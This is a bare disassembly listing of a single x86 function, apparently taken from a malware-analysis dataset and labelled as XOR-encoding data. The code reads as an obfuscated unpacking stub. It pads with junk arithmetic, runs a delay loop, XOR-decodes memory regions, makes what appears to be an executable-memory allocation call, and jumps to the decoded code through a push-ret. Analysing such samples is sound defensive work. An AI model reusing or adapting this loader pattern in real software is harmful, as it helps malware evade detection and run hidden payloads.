Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa8e49f45
or ebx, ecx
dec ecx
and ecx, ecx
popal
inc ebx
add ebx, 1
mov edi, 0
mov esi, edx
mov eax, ebx
add eax, 0xe459ecae
mov ecx, esi
not eax
mov eax, 0x40aabd19
mov edx, ecx
dec eax
sub eax, ebx
mov eax, ebx
inc edi
add eax, eax
and eax, ebx
cmp edi, 0x1002cb9
jne 0xa789c4
inc ebx
sub eax, 0xe9c1e707
not ebx
add ecx, 0xdcf8fa27
mov ecx, 0xa78796
not edi
mov edi, 0xef6f497e
mov ebx, 0xa7898a
dec eax
add esi, 0x39f5783c
dec edi
mov edx, dword [ecx]
sub esi, eax
add eax, esi
dec edi
and edx, 0xff
or edi, esi
sub edi, 0x193fdfd3
or edi, edi
xor dword [ebx], edx
mov eax, 0xd582ddd6
dec edi
inc ebx
or edi, edi
inc edi
or esi, esi
add ecx, 1
not edi
sub esi, eax
cmp ebx, entry0
jl 0xa78a17
add eax, esi
sub eax, esi
and eax, edi
sub edi, 0xce6980e5
add esi, edi
mov edi, eax
sub ebx, 0x80dea2ae
dec edi
mov edx, 0xa7898e
mov edi, esi
add ebx, 1
mov edi, ecx
mov edx, dword [edx]
or esi, ebx
mov ebx, edi
or esi, ecx
mov edx, dword [edx]
sub esi, 0xbeef4b61
mov esi, 0x11eeb2fd
sub esp, 4
mov dword [esp], edx
add ecx, esi
mov esi, ecx
add esi, esi
mov edx, 0xa7898a
or ebx, ecx
sub ecx, 0xf7b56c83
mov ebx, 0xc9af1bfb
mov edx, dword [edx]
sub edi, ebx
sub edi, ebx
dec edi
mov edx, dword [edx]
mov ecx, ebx
add esi, 0xe8a25f38
dec ecx
push 0xa78992
sub esi, 0x86ab32c8
not ebx
sub esi, 0xf9903491
call edx
add esi, 0x54de452f
sub ebx, 0x55f021e9
mov edx, dword [esp]
add esp, 4
add esi, edi
mov ecx, 0xfd0c79a1
sub esp, 4
mov dword [esp], 0xa7899f
and ebx, ecx
sub esi, 0x75b29ea6
push eax
mov ecx, ebx
add ebx, ecx
add ecx, ebx
call edx
add edi, edi
dec ecx
add esi, ebx
push 0x40
sub ebx, 0x13eb84a4
sub ebx, 0x983dc3d8
push 0x3000
add edi, edi
mov esi, ebx
push 0x20000b8e
not ecx
or edi, ecx
sub esp, 4
mov dword [esp], 0
add edi, edi
or edi, ecx
call eax
not ecx
add esi, edi
not ecx
add eax, 0x20000b0f
sub ebx, 1
mov esi, edi
sub ebx, 0x68fa342a
mov edx, 0x30c32d9d
add edi, 0x7721b23a
or ecx, edi
mov dword [eax], edx
not esi
or ebx, ebx
add edi, 0xb51e0d44
mov edx, dword [eax]
mov esi, edi
sub edi, 0xbeb9ae79
mov edi, esi
cmp edx, 0x30c32d9d
je 0xa78b8c
mov edx, 0
mov byte [edx], cl
sub ebx, 1
mov esi, 0xe11ffe28
add ecx, 0xf2b6ff5c
or ebx, esi
sub ecx, ebx
and ecx, ecx
mov ebx, ecx
mov eax, section..reltc
add ecx, ebx
inc ecx
not ebx
mov edi, 0xa78795
sub ecx, ebx
add ecx, 0x3f526e4f
sub ecx, ebx
mov esi, 0
dec ecx
sub ecx, ebx
mov ebx, ecx
mov edx, 0xa78796
add ecx, 1
mov ebx, 0xc9d7b1da
lea edx, [edx + esi]
inc ebx
not ecx
sub ecx, ebx
mov edx, dword [edx]
add ecx, 0x25aa6a3c
add ebx, ecx
mov ecx, ebx
and edx, 0xff
sub ebx, ecx
mov ebx, ecx
inc ecx
add esi, 1
mov ebx, ecx
mov ebx, 0x7edbd6ee
cmp esi, 0x1f4
jne 0xa78c11
mov esi, 0
mov ecx, ebx
add ecx, ebx
mov ecx, 0xae839d97
add ecx, 1
xor dword [eax], edx
mov ecx, ebx
inc ecx
and ebx, ecx
add eax, 2
and ecx, ecx
sub ecx, 0xf10720f7
inc ebx
cmp eax, edi
jl 0xa78bc8
mov ebx, 0x12a421a8
add ecx, 0x291326cb
and ecx, ecx
dec ebx
dec ecx
mov eax, section..reltc
sub edi, 0x23d0ff8
add edi, 1
mov esi, section..reltc
sub ecx, 1
mov edi, ecx
sub edi, ecx
mov edx, 0xa78795
mov edi, ecx
sub edi, ecx
inc ecx
mov ebx, 0
mov ecx, 0xf212f2e1
mov ecx, edi
mov bl, byte [esi]
not ecx
or edi, edi
mov byte [eax], bl
mov edi, ecx
mov edi, 0x7d5887e
inc eax
sub edi, ecx
mov ecx, 0xec62ad14
add esi, 2
mov edi, 0x51fb4d03
add edi, edi
cmp esi, edx
jle 0xa78c83
sub ecx, edi
mov edi, ecx
add ecx, 0x4e9a5630
sub ecx, 1
sub ebx, ecx
not ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
and ecx, ecx
sub ecx, ebx
not ebx
ret